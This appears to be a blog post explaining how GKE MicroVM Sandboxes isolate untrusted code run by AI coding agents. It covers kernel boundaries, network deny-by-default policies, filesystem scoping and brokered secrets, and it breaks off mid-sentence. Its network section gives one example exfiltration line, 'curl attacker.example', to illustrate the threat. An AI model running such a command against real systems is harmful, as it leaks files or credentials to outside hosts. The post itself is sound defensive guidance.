AI agents are changing the security requirements for cloud workloads.
A conventional application usually executes code that developers have written and tested.
An AI agent can be different.
An agent may generate code, execute commands, inspect files, install packages, call tools, and interact with external systems based on a dynamically generated plan.
That creates a difficult infrastructure question:
How do you safely run code that you do not fully trust?
Google Kubernetes Engine (GKE) MicroVM Sandboxes provide an additional isolation boundary for workloads that need stronger separation than ordinary Kubernetes container isolation.
The key idea is to place workloads inside lightweight virtual machines while maintaining a container-oriented deployment model.
A simplified architecture looks like this:
Kubernetes Pod
|
v
MicroVM Boundary
|
v
Guest Kernel
|
v
Container WorkloadInstead of relying only on the host kernel to isolate containers, the workload receives a separate kernel boundary inside a lightweight virtual machine.
This can be particularly useful for AI agents, multi-tenant platforms, code execution services, and other workloads where arbitrary or untrusted code may execute.
Why Ordinary Containers Are Not Always Enough
Containers provide process isolation, resource controls, namespaces, capabilities, and other Linux security mechanisms.
But containers normally share the host kernel.
Conceptually:
Host Kernel
|
+--> Container A
|
+--> Container B
|
+--> Container CThis architecture is efficient.
However, the shared kernel is also an important security boundary.
If an attacker discovers a serious kernel vulnerability or another container-isolation weakness, the consequences can potentially extend beyond the compromised container.
This does not mean containers are inherently insecure.
Containers are appropriate for a huge range of production workloads.
The question is whether their isolation model matches the threat model.
What a MicroVM Changes
A microVM introduces another layer:
Physical / Cloud Host
|
v
Virtualization Boundary
|
+--> MicroVM A
| |
| +--> Guest Kernel
| +--> Container
|
+--> MicroVM B
|
+--> Guest Kernel
+--> ContainerThe workload is still managed through Kubernetes, but it is isolated behind a virtual machine boundary.
This makes the security model closer to:
Workload
|
v
Guest Kernel
|
v
Virtualization Boundary
|
v
Host KernelAn attacker who compromises the workload must cross additional boundaries before reaching other workloads or the host.
Why AI Agents Need Stronger Isolation
Consider a coding agent.
The user asks:
"Fix the failing tests in this repository."The agent may decide to:
Clone files
Install dependencies
Run build commands
Execute tests
Create temporary files
Inspect environment variables
Run scriptsSome of those operations execute code.
Now consider a malicious repository containing:
post-install script
malicious test
unexpected executable
credential-stealing codeThe agent may execute it while trying to complete a legitimate task.
That is fundamentally different from running a known application binary.
The execution environment therefore needs to assume that some code may be hostile.
Sandboxing the Execution Environment
A secure architecture can separate the agent from the execution environment:
User
|
v
AI Agent
|
v
Execution Request
|
v
MicroVM Sandbox
|
+--> Files
+--> Compiler
+--> Runtime
+--> Tests
+--> Temporary network accessThe agent itself does not need direct access to the host.
The sandbox becomes the place where potentially dangerous operations happen.
MicroVMs and Containers Solve Different Problems
It is useful to distinguish the two technologies.
Containers primarily package and isolate applications.
MicroVMs provide a virtualization boundary.
A microVM-based container architecture can combine both:
Container Packaging
+
Virtual Machine IsolationThis gives developers a familiar Kubernetes abstraction while strengthening the isolation boundary underneath it.
That combination is particularly useful when teams already operate Kubernetes but need stronger workload separation.
Why Not Use a Full Virtual Machine?
A traditional VM can provide strong isolation.
But running a full VM for every short-lived workload can introduce additional overhead in:
Startup time
Memory
Management
Image handling
Provisioning
SchedulingMicroVMs are designed to reduce that overhead while retaining hardware-assisted virtualization boundaries.
The exact performance depends on workload, image size, CPU and memory configuration, startup behavior, and the surrounding infrastructure.
The architectural goal is:
Stronger isolation
+
Lower overhead than traditional VM workflows
+
Container/Kubernetes management modelGKE Integration Is the Important Part
The value of the feature is not simply that a lightweight VM exists.
It is that developers can use the isolation model within a Kubernetes platform.
Instead of creating a completely separate infrastructure system:
Kubernetes
|
+--> Normal Pods
Separate VM Platform
|
+--> Sandboxed Workloadsthe architecture can keep Kubernetes as the orchestration layer:
GKE
|
+--> Standard workloads
|
+--> MicroVM sandboxed workloads
|
+--> Services
|
+--> Networking
|
+--> ObservabilityThis allows platform teams to apply familiar deployment and operational practices while selecting a stronger isolation model for higher-risk workloads.
Not Every Pod Needs a MicroVM
A common mistake would be to treat stronger isolation as automatically better for every workload.
Consider a typical web application:
ASP.NET Core API
|
v
Known application codeIf the application is built, tested, and deployed through a controlled CI/CD pipeline, ordinary container isolation may be sufficient.
Now compare that with:
AI Code Execution Service
|
v
Untrusted Repository
|
v
Generated CommandsThe second workload has a fundamentally different threat model.
A practical Kubernetes environment may therefore use:
Standard Pods
|
+--> Trusted workloads
MicroVM Sandboxes
|
+--> Untrusted workloads
+--> Agent execution
+--> Multi-tenant code executionIsolation should be selected based on risk.
A Secure Agent Architecture
An AI coding system can be structured like this:
User
|
v
AI Agent
|
v
Execution API
|
+-------+-------+
| |
v v
Policy Check Request Validation
| |
+-------+-------+
|
v
GKE Scheduler
|
v
MicroVM Pod
|
+-----------+-----------+
| | |
v v v
Build Tests Tools
|
v
Results
|
v
AI AgentThe agent requests an execution.
The platform validates the request.
The workload runs inside an isolated environment.
The results are returned to the agent.
This creates a cleaner trust boundary.
Network Access Should Be Restricted
A sandbox is less useful if the workload can freely communicate with the internet.
Suppose an untrusted script runs:
curl attacker.exampleIf unrestricted network access exists, the script could potentially exfiltrate files or credentials.
A stronger execution environment uses network policies such as:
Default: Deny
|
+--> Package repository: Allow
|
+--> Required API: Allow
|
+--> Internal services: Deny
|
+--> Arbitrary internet: DenyThe exact network configuration depends on the application.
The principle is straightforward:
Do not give untrusted code network access that it does not require.
Filesystem Isolation Is Equally Important
Suppose the sandbox can access:
Source code
Environment files
Credentials
Cloud configuration
SSH keysA compromised process may attempt to read all of them.
The execution environment should therefore provide only the files required for the task.
A safer model is:
Workspace
|
+--> Repository
+--> Build artifacts
+--> Temporary filesrather than mounting a developer's entire home directory.
Secrets Should Not Be Automatically Inherited
This is especially important for AI agent execution.
Never assume that because the agent needs access to an API, the sandbox should inherit every environment secret.
Instead:
Agent
|
v
Secret broker / policy
|
v
Specific short-lived credential
|
v
SandboxEven better, avoid giving the sandbox credentials entirely when the operation can be performed through a controlled service.
For example:
Sandbox
|
v
Internal Artifact Service
|
v
Authenticated requestis often safer than:
Join the conversation! Your thoughts help the community grow.